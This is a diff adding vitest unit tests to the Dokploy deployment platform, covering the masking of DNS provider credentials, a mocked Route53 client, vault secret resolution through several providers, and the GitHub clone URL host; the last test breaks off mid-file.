+	mergeDnsProviderConfig,
+} from "@dokploy/server/services/dns-provider";
+
+describe("maskDnsProviderConfig", () => {
+	it("masks the apiToken for a cloudflare config", () => {
+		const masked = maskDnsProviderConfig({
+			providerType: "cloudflare",
+			apiToken: "real-token",
+		});
+
+		expect(masked).toEqual({
+			providerType: "cloudflare",
+			apiToken: DNS_SECRET_MASK,
+		});
+	});
+
+	it("masks only the secretAccessKey for a route53 config, keeping accessKeyId visible", () => {
+		const masked = maskDnsProviderConfig({
+			providerType: "route53",
+			accessKeyId: "AKIA_VISIBLE",
+			secretAccessKey: "shh",
+		});
+
+		expect(masked).toEqual({
+			providerType: "route53",
+			accessKeyId: "AKIA_VISIBLE",
+			secretAccessKey: DNS_SECRET_MASK,
+		});
+	});
+
+	it("leaves an empty sensitive field untouched instead of masking a blank value", () => {
+		const masked = maskDnsProviderConfig({
+			providerType: "cloudflare",
+			apiToken: "",
+		});
+
+		expect(masked).toEqual({ providerType: "cloudflare", apiToken: "" });
+	});
+});
+
+describe("mergeDnsProviderConfig", () => {
+	it("restores the real secret when the incoming config still has the mask placeholder", () => {
+		const existing = {
+			providerType: "cloudflare" as const,
+			apiToken: "real-token",
+		};
+		const incoming = {
+			providerType: "cloudflare" as const,
+			apiToken: DNS_SECRET_MASK,
+		};
+
+		expect(mergeDnsProviderConfig(incoming, existing)).toEqual(existing);
+	});
+
+	it("keeps a freshly entered secret instead of the stored one", () => {
+		const existing = {
+			providerType: "cloudflare" as const,
+			apiToken: "old-token",
+		};
+		const incoming = {
+			providerType: "cloudflare" as const,
+			apiToken: "new-token",
+		};
+
+		expect(mergeDnsProviderConfig(incoming, existing)).toEqual(incoming);
+	});
+
+	it("throws when switching provider type while the field is still masked", () => {
+		const existing = {
+			providerType: "cloudflare" as const,
+			apiToken: "real-token",
+		};
+		const incoming = {
+			providerType: "route53" as const,
+			accessKeyId: "AKIA",
+			secretAccessKey: DNS_SECRET_MASK,
+		};
+
+		expect(() => mergeDnsProviderConfig(incoming, existing)).toThrow(
+			"Credentials must be re-entered",
+		);
+	});
+
+	it("does not require re-entry for fields that are not sensitive", () => {
+		const existing = {
+			providerType: "route53" as const,
+			accessKeyId: "AKIA_OLD",
+			secretAccessKey: "old-secret",
+		};
+		const incoming = {
+			providerType: "route53" as const,
+			accessKeyId: "AKIA_NEW",
+			secretAccessKey: DNS_SECRET_MASK,
+		};
+
+		expect(mergeDnsProviderConfig(incoming, existing)).toEqual({
+			providerType: "route53",
+			accessKeyId: "AKIA_NEW",
+			secretAccessKey: "old-secret",
+		});
+	});
+});

apps/dokploy/__test__/dns/route53.test.ts

@@ -0,0 +1,288 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+type HasInput = { input: any };
+
+const {
+	send,
+	Route53Client,
+	ListHostedZonesCommand,
+	ListResourceRecordSetsCommand,
+	ChangeResourceRecordSetsCommand,
+} = vi.hoisted(() => {
+	class FakeCommand {
+		input: any;
+		constructor(input: any) {
+			this.input = input;
+		}
+	}
+	const send = vi.fn();
+	class Route53Client {
+		send(command: unknown) {
+			return send(command);
+		}
+	}
+	return {
+		send,
+		Route53Client,
+		ListHostedZonesCommand: class extends FakeCommand {},
+		ListResourceRecordSetsCommand: class extends FakeCommand {},
+		ChangeResourceRecordSetsCommand: class extends FakeCommand {},
+	};
+});
+
+vi.mock("@aws-sdk/client-route-53", () => ({
+	Route53Client,
+	ListHostedZonesCommand,
+	ListResourceRecordSetsCommand,
+	ChangeResourceRecordSetsCommand,
+}));
+
+import { route53Client } from "@dokploy/server/utils/dns/route53";
+
+const config = {
+	providerType: "route53" as const,
+	accessKeyId: "AKIA_TEST",
+	secretAccessKey: "secret",
+};
+
+beforeEach(() => {
+	send.mockReset();
+});
+
+describe("route53Client.listZones", () => {
+	it("strips the hostedzone prefix and the trailing dot", async () => {
+		send.mockResolvedValueOnce({
+			HostedZones: [{ Id: "/hostedzone/Z123", Name: "example.com." }],
+			IsTruncated: false,
+		});
+
+		const zones = await route53Client.listZones(config);
+
+		expect(zones).toEqual([{ id: "Z123", name: "example.com" }]);
+	});
+
+	it("follows the marker until IsTruncated is false", async () => {
+		send
+			.mockResolvedValueOnce({
+				HostedZones: [{ Id: "/hostedzone/Z1", Name: "a.com." }],
+				IsTruncated: true,
+				NextMarker: "marker-1",
+			})
+			.mockResolvedValueOnce({
+				HostedZones: [{ Id: "/hostedzone/Z2", Name: "b.com." }],
+				IsTruncated: false,
+			});
+
+		const zones = await route53Client.listZones(config);
+
+		expect(zones).toEqual([
+			{ id: "Z1", name: "a.com" },
+			{ id: "Z2", name: "b.com" },
+		]);
+		expect(send).toHaveBeenCalledTimes(2);
+		expect((send.mock.calls[1]?.[0] as HasInput).input.Marker).toBe("marker-1");
+	});
+});
+
+describe("route53Client.listRecords", () => {
+	it("builds a type:name id and strips the trailing dot from the name", async () => {
+		send.mockResolvedValueOnce({
+			ResourceRecordSets: [
+				{
+					Name: "app.example.com.",
+					Type: "A",
+					TTL: 300,
+					ResourceRecords: [{ Value: "1.2.3.4" }],
+				},
+			],
+			IsTruncated: false,
+		});
+
+		const records = await route53Client.listRecords(config, "Z123");
+
+		expect(records).toEqual([
+			{
+				id: "A:app.example.com",
+				type: "A",
+				name: "app.example.com",
+				content: "1.2.3.4",
+				ttl: 300,
+			},
+		]);
+	});
+
+	it("skips record sets with no ResourceRecords (e.g. alias targets)", async () => {
+		send.mockResolvedValueOnce({
+			ResourceRecordSets: [
+				{ Name: "alias.example.com.", Type: "A", ResourceRecords: [] },
+			],
+			IsTruncated: false,
+		});
+
+		const records = await route53Client.listRecords(config, "Z123");
+
+		expect(records).toEqual([]);
+	});
+
+	it("joins multiple values for the same record", async () => {
+		send.mockResolvedValueOnce({
+			ResourceRecordSets: [
+				{
+					Name: "example.com.",
+					Type: "NS",
+					TTL: 172800,
+					ResourceRecords: [
+						{ Value: "ns1.example.com" },
+						{ Value: "ns2.example.com" },
+					],
+				},
+			],
+			IsTruncated: false,
+		});
+
+		const records = await route53Client.listRecords(config, "Z123");
+
+		expect(records[0]?.content).toBe("ns1.example.com, ns2.example.com");
+	});
+});
+
+describe("route53Client.upsertRecord", () => {
+	it("sends a single UPSERT change", async () => {
+		send.mockResolvedValueOnce({});
+
+		const result = await route53Client.upsertRecord(config, {
+			zoneId: "Z123",
+			type: "A",
+			name: "app.example.com",
+			content: "1.2.3.4",
+		});
+
+		expect(result).toEqual({ id: "A:app.example.com" });
+		const command = send.mock.calls[0]?.[0] as HasInput;
+		expect(command.input.HostedZoneId).toBe("Z123");
+		expect(command.input.ChangeBatch.Changes).toEqual([
+			{
+				Action: "UPSERT",
+				ResourceRecordSet: {
+					Name: "app.example.com.",
+					Type: "A",
+					TTL: 300,
+					ResourceRecords: [{ Value: "1.2.3.4" }],
+				},
+			},
+		]);
+	});
+});
+
+describe("route53Client.updateRecord", () => {
+	it("only UPSERTs when the name/type identity did not change", async () => {
+		send.mockResolvedValueOnce({});
+
+		await route53Client.updateRecord(config, "Z123", "A:app.example.com", {
+			type: "A",
+			name: "app.example.com",
+			content: "9.9.9.9",
+		});
+
+		expect(send).toHaveBeenCalledTimes(1);
+		const command = send.mock.calls[0]?.[0] as HasInput;
+		expect(command.input.ChangeBatch.Changes).toHaveLength(1);
+		expect(command.input.ChangeBatch.Changes[0].Action).toBe("UPSERT");
+	});
+
+	it("deletes the old record set and creates the new one on rename", async () => {
+		const existingSet = {
+			Name: "old.example.com.",
+			Type: "A",
+			TTL: 300,
+			ResourceRecords: [{ Value: "1.1.1.1" }],
+		};
+		send
+			.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] }) // findExactRecordSet lookup
+			.mockResolvedValueOnce({}); // ChangeResourceRecordSets
+
+		await route53Client.updateRecord(config, "Z123", "A:old.example.com", {
+			type: "A",
+			name: "new.example.com",
+			content: "1.1.1.1",
+		});
+
+		const changeCommand = send.mock.calls[1]?.[0] as HasInput;
+		expect(changeCommand.input.ChangeBatch.Changes).toEqual([
+			{ Action: "DELETE", ResourceRecordSet: existingSet },
+			{
+				Action: "UPSERT",
+				ResourceRecordSet: {
+					Name: "new.example.com.",
+					Type: "A",
+					TTL: 300,
+					ResourceRecords: [{ Value: "1.1.1.1" }],
+				},
+			},
+		]);
+	});
+
+	it("skips the DELETE when the old record no longer exists", async () => {
+		send
+			.mockResolvedValueOnce({ ResourceRecordSets: [] })
+			.mockResolvedValueOnce({});
+
+		await route53Client.updateRecord(config, "Z123", "A:gone.example.com", {
+			type: "A",
+			name: "new.example.com",
+			content: "1.1.1.1",
+		});
+
+		const changeCommand = send.mock.calls[1]?.[0] as HasInput;
+		expect(changeCommand.input.ChangeBatch.Changes).toHaveLength(1);
+		expect(changeCommand.input.ChangeBatch.Changes[0].Action).toBe("UPSERT");
+	});
+});
+
+describe("route53Client.deleteRecord", () => {
+	it("deletes the record set found by name/type", async () => {
+		const existingSet = {
+			Name: "app.example.com.",
+			Type: "A",
+			TTL: 300,
+			ResourceRecords: [{ Value: "1.2.3.4" }],
+		};
+		send.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] });
+		send.mockResolvedValueOnce({});
+
+		await route53Client.deleteRecord(config, "Z123", "A:app.example.com");
+
+		const changeCommand = send.mock.calls[1]?.[0] as HasInput;
+		expect(changeCommand.input.ChangeBatch.Changes).toEqual([
+			{ Action: "DELETE", ResourceRecordSet: existingSet },
+		]);
+	});
+
+	it("throws when the record no longer exists", async () => {
+		send.mockResolvedValueOnce({ ResourceRecordSets: [] });
+
+		await expect(
+			route53Client.deleteRecord(config, "Z123", "A:gone.example.com"),
+		).rejects.toThrow("not found");
+	});
+
+	it("throws for a malformed record id", async () => {
+		await expect(
+			route53Client.deleteRecord(config, "Z123", "not-a-valid-id"),
+		).rejects.toThrow("Invalid Route53 record id");
+	});
+});
+
+describe("route53Client.testConnection", () => {
+	it("resolves when ListHostedZones succeeds", async () => {
+		send.mockResolvedValueOnce({ HostedZones: [] });
+		await expect(route53Client.testConnection(config)).resolves.toBeUndefined();
+	});
+
+	it("propagates SDK errors", async () => {
+		send.mockRejectedValueOnce(new Error("InvalidClientTokenId"));
+		await expect(route53Client.testConnection(config)).rejects.toThrow(
+			"InvalidClientTokenId",
+		);
+	});
+});

apps/dokploy/__test__/drop/drop.test.ts

@@ -32,6 +32,8 @@ const baseApp: ApplicationNested = {
 	railpackVersion: "0.15.4",
 	applicationId: "",
 	previewLabels: [],
+	networkIds: [],
+	detachDokployNetwork: false,
 	createEnvFile: true,
 	bitbucketRepositorySlug: "",
 	herokuVersion: "",

apps/dokploy/__test__/env/vault.test.ts

@@ -0,0 +1,618 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+const findMany = vi.fn();
+
+vi.mock("@dokploy/server/db", () => ({
+	db: {
+		query: {
+			vaultProvider: {
+				findMany: (...args: unknown[]) => findMany(...args),
+			},
+		},
+	},
+}));
+
+import { prepareEnvironmentVariables } from "@dokploy/server/utils/docker/utils";
+import {
+	resolveVaultReferences,
+	withResolvedVaultRefs,
+} from "@dokploy/server/utils/vault";
+import { azureClient } from "@dokploy/server/utils/vault/azure";
+import { dopplerClient } from "@dokploy/server/utils/vault/doppler";
+import { hashicorpClient } from "@dokploy/server/utils/vault/hashicorp";
+import { scalewayClient } from "@dokploy/server/utils/vault/scaleway";
+
+const mockFetch = vi.fn();
+global.fetch = mockFetch as typeof fetch;
+
+const jsonResponse = (body: unknown, ok = true, status = 200) =>
+	({
+		ok,
+		status,
+		json: async () => body,
+	}) as Response;
+
+beforeEach(() => {
+	findMany.mockReset();
+	mockFetch.mockReset();
+});
+
+const scope = {
+	organizationId: "org-1",
+	projectId: "proj-1",
+	environmentId: "env-1",
+};
+
+const assignedEverywhere = [{ projectId: "proj-1", environmentIds: [] }];
+
+describe("resolveVaultReferences", () => {
+	it("returns input untouched and skips the db when no refs are present", async () => {
+		const env = "FOO=bar\nBAZ=${{project.QUX}}";
+		const result = await resolveVaultReferences(env, scope);
+		expect(result).toBe(env);
+		expect(findMany).not.toHaveBeenCalled();
+	});
+
+	it("returns null/empty inputs unchanged", async () => {
+		expect(await resolveVaultReferences(null, scope)).toBeNull();
+		expect(await resolveVaultReferences("", scope)).toBe("");
+	});
+
+	it("throws when refs exist but no organization context is given", async () => {
+		await expect(
+			resolveVaultReferences("FOO=${{vault.prod.SECRET}}"),
+		).rejects.toThrow("not supported in this context");
+	});
+
+	it("throws for an unknown provider", async () => {
+		findMany.mockResolvedValue([]);
+		await expect(
+			resolveVaultReferences("FOO=${{vault.missing.SECRET}}", scope),
+		).rejects.toThrow('Vault provider "missing" not found');
+	});
+
+	it("throws when the provider is not assigned to the project", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "prod",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: [{ projectId: "other-project", environmentIds: [] }],
+			},
+		]);
+		await expect(
+			resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
+		).rejects.toThrow("not enabled for this project/environment");
+	});
+
+	it("throws when the provider is restricted to another environment", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "prod",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: [
+					{ projectId: "proj-1", environmentIds: ["production-env"] },
+				],
+			},
+		]);
+		await expect(
+			resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
+		).rejects.toThrow("not enabled for this project/environment");
+	});
+
+	it("allows a provider restricted to the matching environment", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "prod",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: [{ projectId: "proj-1", environmentIds: ["env-1"] }],
+			},
+		]);
+		mockFetch.mockResolvedValue(jsonResponse({ SECRET: "value-1" }));
+		const result = await resolveVaultReferences(
+			"FOO=${{vault.prod.SECRET}}",
+			scope,
+		);
+		expect(result).toBe("FOO=value-1");
+	});
+
+	it("resolves refs through a doppler provider", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "doppler-prod",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: assignedEverywhere,
+			},
+		]);
+		mockFetch.mockResolvedValue(
+			jsonResponse({ DB_URL: "postgres://real", API_KEY: "key-123" }),
+		);
+
+		const result = await resolveVaultReferences(
+			"DB_URL=${{vault.doppler-prod.DB_URL}}\nAPI_KEY=${{vault.doppler-prod.API_KEY}}",
+			scope,
+		);
+
+		expect(result).toBe("DB_URL=postgres://real\nAPI_KEY=key-123");
+		expect(mockFetch).toHaveBeenCalledTimes(1);
+	});
+
+	it("throws when the secret is missing in the provider", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "doppler-prod",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: assignedEverywhere,
+			},
+		]);
+		mockFetch.mockResolvedValue(jsonResponse({ OTHER: "x" }));
+
+		await expect(
+			resolveVaultReferences("FOO=${{vault.doppler-prod.MISSING}}", scope),
+		).rejects.toThrow('secret "MISSING" not found');
+	});
+});
+
+describe("withResolvedVaultRefs + prepareEnvironmentVariables", () => {
+	it("resolves entity env sources so sync interpolation sees real values", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "prod",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: assignedEverywhere,
+			},
+		]);
+		mockFetch.mockResolvedValue(jsonResponse({ DB_PASSWORD: "s3cret" }));
+
+		const entity = {
+			env: "DATABASE_URL=postgres://user:${{project.DB_PASSWORD}}@db",
+			environment: {
+				environmentId: "env-1",
+				env: null,
+				project: {
+					projectId: "proj-1",
+					env: "DB_PASSWORD=${{vault.prod.DB_PASSWORD}}",
+					organizationId: "org-1",
+				},
+			},
+		};
+
+		const resolved = await withResolvedVaultRefs(entity);
+		const prepared = prepareEnvironmentVariables(
+			resolved.env,
+			resolved.environment.project.env,
+			resolved.environment.env,
+		);
+
+		expect(prepared).toEqual(["DATABASE_URL=postgres://user:s3cret@db"]);
+	});
+
+	it("resolves buildArgs and buildSecrets when present", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "prod",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: assignedEverywhere,
+			},
+		]);
+		mockFetch.mockResolvedValue(jsonResponse({ NPM_TOKEN: "npm-123" }));
+
+		const resolved = await withResolvedVaultRefs({
+			env: "FOO=bar",
+			buildArgs: "NPM_TOKEN=${{vault.prod.NPM_TOKEN}}",
+			buildSecrets: null,
+			environment: {
+				environmentId: "env-1",
+				env: null,
+				project: { projectId: "proj-1", env: null, organizationId: "org-1" },
+			},
+		});
+
+		expect(resolved.buildArgs).toBe("NPM_TOKEN=npm-123");
+		expect(resolved.buildSecrets).toBeNull();
+		expect(resolved.env).toBe("FOO=bar");
+	});
+
+	it.each([
+		["service env", { env: "SECRET=${{vault.locked.X}}" }],
+		["environment env", { environmentEnv: "SECRET=${{vault.locked.X}}" }],
+		["project env", { projectEnv: "SECRET=${{vault.locked.X}}" }],
+		["build args", { buildArgs: "SECRET=${{vault.locked.X}}" }],
+	])(
+		"rejects a ref to an unassigned provider placed in the %s",
+		async (_source, overrides) => {
+			findMany.mockResolvedValue([
+				{
+					name: "locked",
+					providerType: "doppler",
+					config: { providerType: "doppler", serviceToken: "dp.st.token" },
+					assignments: [{ projectId: "other-project", environmentIds: [] }],
+				},
+			]);
+
+			const entity = {
+				env: (overrides as { env?: string }).env ?? "FOO=bar",
+				buildArgs: (overrides as { buildArgs?: string }).buildArgs ?? null,
+				environment: {
+					environmentId: "env-1",
+					env:
+						(overrides as { environmentEnv?: string }).environmentEnv ?? null,
+					project: {
+						projectId: "proj-1",
+						env: (overrides as { projectEnv?: string }).projectEnv ?? null,
+						organizationId: "org-1",
+					},
+				},
+			};
+
+			await expect(withResolvedVaultRefs(entity)).rejects.toThrow(
+				"not enabled for this project/environment",
+			);
+			expect(mockFetch).not.toHaveBeenCalled();
+		},
+	);
+
+	it("rejects a ref restricted to another environment from the environment env", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "prod-only",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: [
+					{ projectId: "proj-1", environmentIds: ["production-env"] },
+				],
+			},
+		]);
+
+		await expect(
+			withResolvedVaultRefs({
+				env: null,
+				environment: {
+					environmentId: "dev-env",
+					env: "SECRET=${{vault.prod-only.X}}",
+					project: { projectId: "proj-1", env: null, organizationId: "org-1" },
+				},
+			}),
+		).rejects.toThrow("not enabled for this project/environment");
+		expect(mockFetch).not.toHaveBeenCalled();
+	});
+
+	it("prepareEnvironmentVariables throws on unresolved vault refs", () => {
+		expect(() =>
+			prepareEnvironmentVariables("FOO=${{vault.prod.SECRET}}", "", ""),
+		).toThrow("Unresolved vault reference");
+	});
+
+	it("keeps working without vault refs", () => {
+		const prepared = prepareEnvironmentVariables(
+			"FOO=${{project.BAR}}",
+			"BAR=baz",
+		);
+		expect(prepared).toEqual(["FOO=baz"]);
+		expect(findMany).not.toHaveBeenCalled();
+	});
+});
+
+describe("hashicorp client", () => {
+	const config = {
+		providerType: "hashicorp" as const,
+		url: "https://vault.example.com",
+		token: "hvs.token",
+		mount: "secret",
+	};
+
+	it("rejects refs without a field", async () => {
+		await expect(
+			hashicorpClient.getSecrets(config, ["myapp/prod"]),
+		).rejects.toThrow("expected format <path>:<field>");
+	});
+
+	it("groups refs by path and picks fields from KV v2 data", async () => {
+		mockFetch.mockResolvedValue(
+			jsonResponse({ data: { data: { USER: "admin", PASS: "pw" } } }),
+		);
+
+		const result = await hashicorpClient.getSecrets(config, [
+			"myapp/prod:USER",
+			"myapp/prod:PASS",
+		]);
+
+		expect(result).toEqual({
+			"myapp/prod:USER": "admin",
+			"myapp/prod:PASS": "pw",
+		});
+		expect(mockFetch).toHaveBeenCalledTimes(1);
+		expect(mockFetch.mock.calls[0]?.[0]).toBe(
+			"https://vault.example.com/v1/secret/data/myapp/prod",
+		);
+	});
+
+	it("throws when a field is missing", async () => {
+		mockFetch.mockResolvedValue(jsonResponse({ data: { data: { A: "1" } } }));
+		await expect(
+			hashicorpClient.getSecrets(config, ["myapp/prod:MISSING"]),
+		).rejects.toThrow('field "MISSING" not found');
+	});
+
+	it("lists full path:field refs by walking directories", async () => {
+		mockFetch.mockImplementation(async (url: string) => {
+			if (url.includes("/metadata?list=true")) {
+				return jsonResponse({ data: { keys: ["myapp/", "shared"] } });
+			}
+			if (url.includes("/metadata/myapp?list=true")) {
+				return jsonResponse({ data: { keys: ["prod"] } });
+			}
+			if (url.includes("/data/myapp/prod")) {
+				return jsonResponse({
+					data: { data: { API_KEY: "a", DB_PASSWORD: "b" } },
+				});
+			}
+			if (url.includes("/data/shared")) {
+				return jsonResponse({ data: { data: { STRIPE_KEY: "c" } } });
+			}
+			return jsonResponse({}, false, 404);
+		});
+
+		const names = await hashicorpClient.listSecretNames?.(config);
+
+		expect(names).toEqual([
+			"myapp/prod:API_KEY",
+			"myapp/prod:DB_PASSWORD",
+			"shared:STRIPE_KEY",
+		]);
+	});
+});
+
+describe("azure client", () => {
+	const config = {
+		providerType: "azure" as const,
+		vaultUri: "https://my-vault.vault.azure.net",
+		tenantId: "tenant-1",
+		clientId: "client-1",
+		clientSecret: "secret-1",
+	};
+
+	it("authenticates and reads secrets by name", async () => {
+		mockFetch.mockImplementation(async (url: string) => {
+			if (url.includes("login.microsoftonline.com/tenant-1")) {
+				return jsonResponse({ access_token: "azure-token" });
+			}
+			if (url.includes("/secrets/db-password?")) {
+				return jsonResponse({ value: "azure-pw" });
+			}
+			return jsonResponse({}, false, 404);
+		});
+
+		const result = await azureClient.getSecrets(config, ["db-password"]);
+
+		expect(result).toEqual({ "db-password": "azure-pw" });
+	});
+
+	it("throws a clear error for missing secrets", async () => {
+		mockFetch.mockImplementation(async (url: string) => {
+			if (url.includes("login.microsoftonline.com")) {
+				return jsonResponse({ access_token: "azure-token" });
+			}
+			return jsonResponse({}, false, 404);
+		});
+
+		await expect(azureClient.getSecrets(config, ["nope"])).rejects.toThrow(
+			'secret "nope" not found',
+		);
+	});
+
+	it("lists secret names from paged results", async () => {
+		mockFetch.mockImplementation(async (url: string) => {
+			if (url.includes("login.microsoftonline.com")) {
+				return jsonResponse({ access_token: "azure-token" });
+			}
+			if (url.includes("skiptoken")) {
+				return jsonResponse({
+					value: [{ id: `${config.vaultUri}/secrets/second` }],
+					nextLink: null,
+				});
+			}
+			return jsonResponse({
+				value: [{ id: `${config.vaultUri}/secrets/first` }],
+				nextLink: `${config.vaultUri}/secrets?api-version=7.4&skiptoken=abc`,
+			});
+		});
+
+		const names = await azureClient.listSecretNames?.(config);
+
+		expect(names).toEqual(["first", "second"]);
+	});
+});
+
+describe("doppler client", () => {
+	it("propagates auth errors with the status code", async () => {
+		mockFetch.mockResolvedValue(jsonResponse({}, false, 401));
+		await expect(
+			dopplerClient.getSecrets(
+				{ providerType: "doppler", serviceToken: "bad" },
+				["FOO"],
+			),
+		).rejects.toThrow("status 401");
+	});
+});
+
+describe("scaleway client", () => {
+	const config = {
+		providerType: "scaleway" as const,
+		region: "fr-par",
+		projectId: "project-1",
+		secretKey: "scw-secret-key",
+		apiUrl: "https://api.scaleway.com",
+	};
+
+	const accessResponse = (value: string) =>
+		jsonResponse({
+			secret_id: "secret-1",
+			revision: 1,
+			data: Buffer.from(value).toString("base64"),
+		});
+
+	it("reads a secret by name from the root path and decodes the payload", async () => {
+		mockFetch.mockResolvedValue(accessResponse("postgres://real"));
+
+		const result = await scalewayClient.getSecrets(config, ["db-url"]);
+
+		expect(result).toEqual({ "db-url": "postgres://real" });
+		expect(mockFetch).toHaveBeenCalledTimes(1);
+		const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
+		expect(url).toBe(
+			"https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets-by-path/versions/latest_enabled/access?project_id=project-1&secret_name=db-url&secret_path=%2F",
+		);
+		expect((init.headers as Record<string, string>)["X-Auth-Token"]).toBe(
+			"scw-secret-key",
+		);
+	});
+
+	it("sends the folder of a path-qualified ref as secret_path", async () => {
+		mockFetch.mockResolvedValue(accessResponse("value"));
+
+		await scalewayClient.getSecrets(config, ["prod/db/password"]);
+
+		expect(mockFetch.mock.calls[0]?.[0]).toContain(
+			"secret_name=password&secret_path=%2Fprod%2Fdb",
+		);
+	});
+
+	it("extracts a field from a JSON secret and fetches the secret once", async () => {
+		mockFetch.mockResolvedValue(
+			accessResponse(JSON.stringify({ user: "admin", port: 5432 })),
+		);
+
+		const result = await scalewayClient.getSecrets(config, [
+			"db-creds:user",
+			"db-creds:port",
+		]);
+
+		expect(result).toEqual({
+			"db-creds:user": "admin",
+			"db-creds:port": "5432",
+		});
+		expect(mockFetch).toHaveBeenCalledTimes(1);
+	});
+
+	it("throws when the secret is not JSON but a field is requested", async () => {
+		mockFetch.mockResolvedValue(accessResponse("plain-value"));
+
+		await expect(
+			scalewayClient.getSecrets(config, ["db-creds:user"]),
+		).rejects.toThrow("is not JSON");
+	});
+
+	it("throws when the requested field is missing", async () => {
+		mockFetch.mockResolvedValue(accessResponse(JSON.stringify({ user: "a" })));
+
+		await expect(
+			scalewayClient.getSecrets(config, ["db-creds:password"]),
+		).rejects.toThrow('field "password" not found');
+	});
+
+	it("throws a clear error for a missing secret", async () => {
+		mockFetch.mockResolvedValue(
+			jsonResponse({ message: "not found" }, false, 404),
+		);
+
+		await expect(scalewayClient.getSecrets(config, ["nope"])).rejects.toThrow(
+			'secret "nope" not found in path "/"',
+		);
+	});
+
+	it("reports authentication failures with the API message", async () => {
+		mockFetch.mockResolvedValue(
+			jsonResponse({ message: "denied authentication" }, false, 403),
+		);
+
+		await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow(
+			"authentication failed (status 403: denied authentication)",
+		);
+	});
+
+	it("throws when the secret has no enabled version", async () => {
+		mockFetch.mockResolvedValue(jsonResponse({ secret_id: "secret-1" }));
+
+		await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow(
+			"has no enabled version",
+		);
+	});
+
+	it("rejects a ref without a secret name", async () => {
+		await expect(scalewayClient.getSecrets(config, ["prod/"])).rejects.toThrow(
+			"expected format <name> or <folder>/<name>[:field]",
+		);
+	});
+
+	it("tests the connection against the secrets listing", async () => {
+		mockFetch.mockResolvedValue(jsonResponse({ secrets: [], total_count: 0 }));
+
+		await scalewayClient.testConnection(config);
+
+		expect(mockFetch.mock.calls[0]?.[0]).toBe(
+			"https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets?project_id=project-1&page_size=1",
+		);
+	});
+
+	it("lists secret names with their folder prefix", async () => {
+		mockFetch.mockResolvedValue(
+			jsonResponse({
+				secrets: [
+					{ id: "1", name: "db-url", path: "/" },
+					{ id: "2", name: "password", path: "/prod/db" },
+				],
+				total_count: 2,
+			}),
+		);
+
+		const names = await scalewayClient.listSecretNames?.(config);
+
+		expect(names).toEqual(["db-url", "prod/db/password"]);
+		expect(mockFetch).toHaveBeenCalledTimes(1);
+	});
+
+	it("follows pagination until a short page is returned", async () => {
+		const page = (start: number, size: number) =>
+			jsonResponse({
+				secrets: Array.from({ length: size }, (_, index) => ({
+					id: String(start + index),
+					name: `secret-${start + index}`,
+					path: "/",
+				})),
+			});
+		mockFetch.mockImplementation(async (url: string) =>
+			url.includes("page=2") ? page(101, 2) : page(1, 100),
+		);
+
+		const names = await scalewayClient.listSecretNames?.(config);
+
+		expect(names).toHaveLength(102);
+		expect(mockFetch).toHaveBeenCalledTimes(2);
+	});
+
+	it("resolves env refs end to end through a scaleway provider", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "scw-prod",
+				providerType: "scaleway",
+				config,
+				assignments: assignedEverywhere,
+			},
+		]);
+		mockFetch.mockResolvedValue(accessResponse("s3cret"));
+
+		const result = await resolveVaultReferences(
+			"DB_PASSWORD=${{vault.scw-prod.prod/db-password}}",
+			scope,
+		);
+
+		expect(result).toBe("DB_PASSWORD=s3cret");
+	});
+});

apps/dokploy/__test__/git-provider/github-clone-host.test.ts

@@ -0,0 +1,106 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+// cloneGithubRepository builds a shell command; the only thing under test here
+// is which host ends up in the clone URL, so the app auth is stubbed out.
+const mockFindGithubById = vi.hoisted(() => vi.fn());
+
+vi.mock("@dokploy/server/services/github", () => ({
+	findGithubById: mockFindGithubById,
+}));
+
+vi.mock("@octokit/auth-app", () => ({
+	createAppAuth: vi.fn(),
+}));
+
+vi.mock("octokit", () => ({
+	Octokit: class {
+		auth = async () => ({ token: "gh-token" });
+	},
+}));
+
+const { cloneGithubRepository } = await import(
+	"@dokploy/server/utils/providers/github"
+);
+
+const provider = (githubUrl: string) => ({
+	githubId: "gh-1",
+	githubUrl,
+	githubAppId: 1,
+	githubPrivateKey: "key",
+	githubInstallationId: "42",
+});
+
+const clone = async () => {
+	const command = await cloneGithubRepository({
+		appName: "my-app",
+		owner: "acme",
+		repository: "web",
+		branch: "main",
+		githubId: "gh-1",
+		enableSubmodules: false,
+		serverId: null,
+	});
+	return command.replace(/\\/g, "");
+};
+
+describe("cloneGithubRepository host", () => {
+	beforeEach(() => {
+		vi.clearAllMocks();
+	});
+
+	it("clones from github.com for a default provider", async () => {
+		mockFindGithubById.mockResolvedValue(provider("https://github.com"));
+
+		const command = await clone();
+
+		expect(command).toContain(
+			"https://oauth2:gh-token@github.com/acme/web.git",
+		);
+		expect(command).not.toContain("ghe.com");
+	});
+
+	it("clones from the Enterprise host, not github.com", async () => {
